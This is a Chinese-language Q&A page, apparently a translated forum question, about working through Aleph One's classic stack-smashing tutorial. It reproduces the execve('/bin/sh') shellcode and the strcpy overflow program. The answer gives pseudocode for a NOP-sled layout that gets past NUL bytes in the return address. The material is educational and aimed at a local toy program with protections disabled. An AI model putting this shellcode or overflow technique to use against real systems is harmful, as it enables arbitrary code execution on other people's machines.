避免使用strpcy破坏堆栈的NUL终止符

问题描述

我最近一直在关注aleph1的“粉碎堆栈以获取乐趣和利润”一文,但是到了无法用strcpy粉碎堆栈的地方。

(参考:https://insecure.org/stf/smashstack.html

在标题为“编写漏洞利用程序(或如何删除堆栈)”的一章中,aleph1编写了以下代码(我尝试运行计算机):

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  strcpy(buffer,large_string);
}

我们在上面所做的工作是在数组large_string []中填充了 buffer []的地址,这就是我们的代码所在的位置。然后我们复制我们的 shellcode进入large_string字符串的开头。然后,strcpy() 将large_string复制到缓冲区而不进行任何边界检查,并且将 溢出返回地址,用我们的代码所在的地址覆盖它 现在位于。一旦我们到达main的末尾并尝试返回它 跳转到我们的代码,并执行一个shell。

直到到达此行,这段代码才完全符合我的预期:

  strcpy(buffer,large_string);

经过大量挖掘,我发现strcpy不会按原样溢出缓冲区,因为缓冲区的地址(已多次复制到large_string中)其中的NUL字符串以零结尾

因此,strcpy在它遇到的第一个NUL终止零之后停止,这恰好在我们用缓冲区的地址覆盖main的返回地址之前。

有没有办法解决这个问题,并以某种方式使缓冲区的地址中没有零?

解决方法

我猜您正在使用 Windows 操作系统和小端处理器,那是因为据我所知 linux 将地址代码从上面放置,因此 linux 通常在地址中没有 NULL 字节。不同于从低地址开始的窗口,因此它包含空字节。有一个技巧是在你的shellcode中添加足够的NOP指令,直到它覆盖返回地址。因为您的地址包含 NULL 字节,所以您只写一次返回地址(strcpy 在 NULL 字节处停止)。为了做到这一点,您应该查看程序集并计算所需的 shellcode 的确切大小,然后输入目标返回地址。

这里是假的

// &ret_addr is address of where your target_return_addres to be stored.
// To get it:
//     view in debugger
//     break at first instruction in main. Usually push ebp instruction
//     look ESP register value
a = &ret_addr - &buffer // [NOP] + [SHELLCODE]

// fill large_string with return address
for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

// fill large_string with NOP
n = a - strlen(shellcode)
for (i = 0; i < n; i++)
    large_string[i] = NOP;

// fill large_string with your shellcode
for (i = 0; i < strlen(shellcode); i++)
    large_string[n+i] = shellcode[i];

最后large_string看起来像这样

[n bytes] [strlen(shellcode) bytes] [Rest Bytes]
[NOP]     [SHELLCODE]               [RETURN ADDRESS]

缓冲区看起来像这样

[n bytes] [strlen(shellcode) bytes] [4 Bytes]
[NOP]     [SHELLCODE]               [RETURN ADDRESS]

请记住,如果 NX 位和堆栈金丝雀关闭,这将起作用。在调试器中试一下,很好理解

相关问答

错误1:Request method ‘DELETE‘ not supported 错误还原:...
错误1:启动docker镜像时报错:Error response from daemon:...
错误1:private field ‘xxx‘ is never assigned 按Alt...
报错如下,通过源不能下载,最后警告pip需升级版本 Requirem...